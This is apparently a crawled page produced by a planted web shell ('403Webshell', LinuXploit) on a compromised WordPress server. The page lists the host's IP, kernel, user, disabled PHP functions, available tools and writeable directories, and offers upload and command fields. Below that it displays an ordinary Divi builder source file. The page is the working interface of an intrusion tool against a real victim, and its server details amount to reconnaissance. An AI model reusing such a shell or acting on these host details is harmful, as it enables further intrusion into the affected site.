403Webshell

Warning: set_time_limit() has been disabled for security reasons in /home/clients/1cf40b6e42225d1cefb5c94f9bec37da/web/wp-content/plugins/mage-eventpress/woocommerce-event-press.php on line 26
Server IP : 128.65.195.198  /  Your IP : 216.73.216.57
Web Server : Apache
System : Linux h2web174 4.9.0-0.bpo.12-amd64 #1 SMP Debian 4.9.210-1+deb9u1~deb8u1~bpo8+1 (2026-07-14) x86_64
User : uid131604 ( 131604)
PHP Version : 7.4.33
Disable Function : set_time_limit,passthru,exec,system,popen,shell_exec,proc_open,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/clients/1cf40b6e42225d1cefb5c94f9bec37da/web/wp-content/plugins/divi-builder/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/clients/1cf40b6e42225d1cefb5c94f9bec37da/web/wp-content/plugins/divi-builder/common/init.php
<?php

if ( ! defined( 'ET_COMMON_DIR' ) ) {
	define( 'ET_COMMON_DIR', get_template_directory() . '/common/' );
}

if ( ! function_exists( 'et_common_setup' ) ) :
	/**
	 * Setup Common const.
	 *
	 * @since ??
	 */
	function et_common_setup() {
		if ( defined( 'ET_COMMON_URL' ) ) {
			return;
		}

		$common_path = _et_core_normalize_path( trailingslashit( dirname( __FILE__ ) ) );
		$theme_dir   = _et_core_normalize_path( trailingslashit( realpath( get_template_directory() ) ) );

		if ( 0 === strpos( $common_path, $theme_dir ) ) {
			$url = get_template_directory_uri() . '/common/';
		} else {
			$url = plugin_dir_url( __FILE__ );
		}

		define( 'ET_COMMON_URL', $url );

		require_once ET_COMMON_DIR . 'admin.php';
	}
endif;


if ( ! function_exists( 'et_fb_enqueue_react' ) ):
	/**
	 * Load React. Use react from cdn server in debug mode or local version in production.
	 *
	 * @since ??
	 *
	 */
	function et_fb_enqueue_react() {
		if ( ! et_common_should_enqueue_react() ) {
			return;
		}

		$DEBUG          = defined( 'ET_DEBUG' ) && ET_DEBUG;
		$common_scripts = ET_COMMON_URL . 'scripts';
		$react_version  = '16.14.0';

		wp_dequeue_script( 'react' );
		wp_dequeue_script( 'react-dom' );
		wp_deregister_script( 'react' );
		wp_deregister_script( 'react-dom' );

		if ( $DEBUG || DiviExtensions::is_debugging_extension() ) {
			wp_enqueue_script( 'react', "https://cdn.jsdelivr.net/npm/react@{$react_version}/umd/react.development.js", array(), $react_version, true );
			wp_enqueue_script( 'react-dom', "https://cdn.jsdelivr.net/npm/react-dom@{$react_version}/umd/react-dom.development.js", array( 'react' ), $react_version, true );
			add_filter( 'script_loader_tag', 'et_core_add_crossorigin_attribute', 10, 3 );
		} else {
			wp_enqueue_script( 'react', "{$common_scripts}/react.production.min.js", array(), $react_version, true );
			wp_enqueue_script( 'react-dom', "{$common_scripts}/react-dom.production.min.js", array( 'react' ), $react_version, true );
		}
	}
endif;

if ( ! function_exists( 'et_common_should_enqueue_react' ) ) :
	/**
	 * Determine whether React should be enqueued or not.
	 *
	 * @since ??
	 *
	 * @return bool
	 */
	function et_common_should_enqueue_react() {
		$page      = isset( $_GET['page'] ) ? sanitize_text_field( $_GET['page'] ) : ''; // phpcs:ignore WordPress.Security.NonceVerification -- This function does not change any state, and is therefore not susceptible to CSRF.
		$is_fb     = et_core_is_fb_enabled();
		$is_tb     = et_pb_is_allowed( 'theme_builder' ) && 'et_theme_builder' === $page;
		$is_epanel = et_pb_is_allowed( 'theme_options' ) && 'et_divi_options' === $page;

		$should_enqueue = $is_fb || $is_tb || $is_epanel;

		/**
		 * Filter whether React should be enqueued or not.
		 *
		 * @since ??
		 *
		 * @param string $should_enqueue Enqueue status.
		 */
		return apply_filters( 'et_common_should_enqueue_react', $should_enqueue );
	}
endif;

Youez - 2016 - github.com/yon3zu
LinuXploit